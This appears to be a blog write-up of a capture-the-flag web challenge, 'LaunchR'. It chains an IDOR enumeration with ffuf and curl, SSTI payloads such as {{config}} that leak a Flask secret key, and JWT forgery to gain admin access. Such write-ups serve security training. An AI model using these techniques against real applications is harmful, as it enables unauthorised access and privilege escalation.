This page looks best with JavaScript enabled

LaunchR

 ·  β˜• 4 min read  ·  ✍️ M4t35Z

Info

Tags: Challenge Web Security SSTI IDOR JWT Authentication

Description

Mission brief
Can you help us to stop the evildoings of the evil H4x0rMage?

Instructions
H4x0rMage, the biggest evil in human history is about to destroy everything. He hacked into a military base and started the launch procedure for the biggest rocket! He even set up a page with a countdown so his peers can follow the countdown.We have managed to gain access to one account: username: Test, password: test.

Your task is to gain Admin privileges and cancel the launch. There should be a button for this job, it only shows up for users with administrator privileges.Come back here and click Check solution when you are done to get your reward. Don’t forget, humanity’s hope is in your hands now!

Glossary

IDOR
Stands for Insecure Direct Object Reference. It’s fundamentally an access control related vulnerability, which means that someone can access sensitive data that they shouldn’t be able to
see, by referring to it directly.

JWT
JSON Web Tokens are an open, industry standard RFC 7519(https://tools.ietf.org/html/rfc7519) method for representing claims securely between two parties.

SSTI
Server-Side Template Injection occurs when unvalidated user input is processed by a template engine.


Enumeration

I logged in with the credentials provided

Untitled.png

Untitled%201.png

There was a counter and my username was reflected on the page.

I found out I got a cookie named jwt at login

Untitled%202.png

I used jwt.io to decode this jwt token.

Untitled%203.png

  • It needed a secret key to be able to verify the token’s signature
  • My user_id was 1

Looking into the sources

I looked into the source and found two interesting js files.

Untitled%204.png

/static/js/toggle.js:

1
2
3
4
5
6
7
8
9
function toggle() {
    const request = async () => {
        const response = await fetch('/toggle');
        const json = await response.json();
        console.log(json);
        location.reload();
    };
    request();
}
  • /toggle endpoint

/toggle:

1
{"error":"Only for Admin!"}
  • I needed Admin privileges to be able to access this endpoint with success

/static/js/userhelper.js:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
function readCookie(name) {
    var nameEQ = name + "=";
    var ca = document.cookie.split(';');
    for(var i=0;i < ca.length;i++) {
        var c = ca[i];
        while (c.charAt(0)==' ') c = c.substring(1,c.length);
        if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
    }
    return null;
}

function parseJwt (token) {
    var base64Url = token.split('.')[1];
    var base64 = base64Url.replace(/-/g, '+').replace(/_/g, '/');
    var jsonPayload = decodeURIComponent(atob(base64).split('').map(function(c) {
        return '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2);
    }).join(''));

    return JSON.parse(jsonPayload);
};

$( document ).ready(function() {
    var user_id = parseJwt(readCookie("jwt")).user_id;
    var url = '/users/' + user_id;
    $.ajax({
        url: url,
        method: "GET",
        success: function(data, status){
            $('#message').html("<h1>Welcome "+ data.username + "</h1>");
        },
        error: function(xhr, desc, err){
            $('#message').text("Ooops");
        }
    });
});
  • /users/ endpoint
    • which used the jwt token’s id which was 1 for user Test

I also confirmed it with a quick test.

/users/1:

1
{"user_id":1,"username":"Test"}

IDOR

I tried to fuzz this enpoint for other userid and I successfully found some. I used ffuf in order to fuzz the possible numeric values.

ffuf -fr 'User id FUZZ was not found' -u https://<instance>.platform-next.avatao-challenge.com/users/FUZZ -w /usr/share/seclists/Fuzzing/3-digits-000-999.txt

Valid id’s:

012                     [Status: 200, Size: 34, Words: 1, Lines: 2]
004                     [Status: 200, Size: 33, Words: 1, Lines: 2]
010                     [Status: 200, Size: 38, Words: 1, Lines: 2]
011                     [Status: 200, Size: 38, Words: 1, Lines: 2]
002                     [Status: 200, Size: 39, Words: 1, Lines: 2]
001                     [Status: 200, Size: 32, Words: 1, Lines: 2]
006                     [Status: 200, Size: 35, Words: 1, Lines: 2]
007                     [Status: 200, Size: 34, Words: 1, Lines: 2]

I used some vim magic and xargs and curl to make a request to each id and save the output.

urls.txt:

https://abbbd6199b2f5369163c8100ed1e78f0420225ed.platform-next.avatao-challenge.com/users/002
https://abbbd6199b2f5369163c8100ed1e78f0420225ed.platform-next.avatao-challenge.com/users/004
https://abbbd6199b2f5369163c8100ed1e78f0420225ed.platform-next.avatao-challenge.com/users/006
https://abbbd6199b2f5369163c8100ed1e78f0420225ed.platform-next.avatao-challenge.com/users/007
https://abbbd6199b2f5369163c8100ed1e78f0420225ed.platform-next.avatao-challenge.com/users/011
https://abbbd6199b2f5369163c8100ed1e78f0420225ed.platform-next.avatao-challenge.com/users/001
https://abbbd6199b2f5369163c8100ed1e78f0420225ed.platform-next.avatao-challenge.com/users/012
https://abbbd6199b2f5369163c8100ed1e78f0420225ed.platform-next.avatao-challenge.com/users/010
$ cat urls.txt | sort | xargs -n1 -I{} sh -c 'curl {}'
{"user_id":1,"username":"Test"}
{"user_id":2,"username":"QU1CK51LV3R"}
{"user_id":4,"username":"BL4NK"}
{"user_id":6,"username":"M3M3N70"}
{"user_id":7,"username":"D3X73R"}
{"user_id":10,"username":"H4x0rMage"}
{"user_id":11,"username":"H4ck3Rm4n"}
{"user_id":12,"username":"Admin"}
  • Admin’s id was 12
    • I had to change the jwt payload’s user_id parameter from 1 to 12
    • But I needed the jwt’s secret

SSTI

After exploring the webapp a bit more I found out if I provide an invalid enpoint my invalid endpoint’s name gets reflected to the 404 page

Untitled%205.png

  • I tried the most basic SSTI payload {{7*7}} and I successfully got 49 on the page
    • This meant I surely have an SSTI

Untitled%206.png

If there is an SSTI you must try to print out the current config so I tried it and I got it successfully.

/{{config}}:

Untitled%207.png

  • This SECRET_KEY seemed suspicious(it was toooo long) so I put it into jwt.io to test it as jwt secret

Untitled%208.png

  • I got Signature Verified which meant that this was the correct jwt secret

Exploitiation

I had to access the /toggle endpoint as admin. The admin’s user_id was 12 so I changed my jwt token using jwt.io and the secret and copied it.

Untitled%209.png

  • My signature was still verified

Untitled%2010.png

  • I successfully cancelled the launch!
    • Challenge Completed!
Share on
Support the author with

M4t35Z
WRITTEN BY
M4t35Z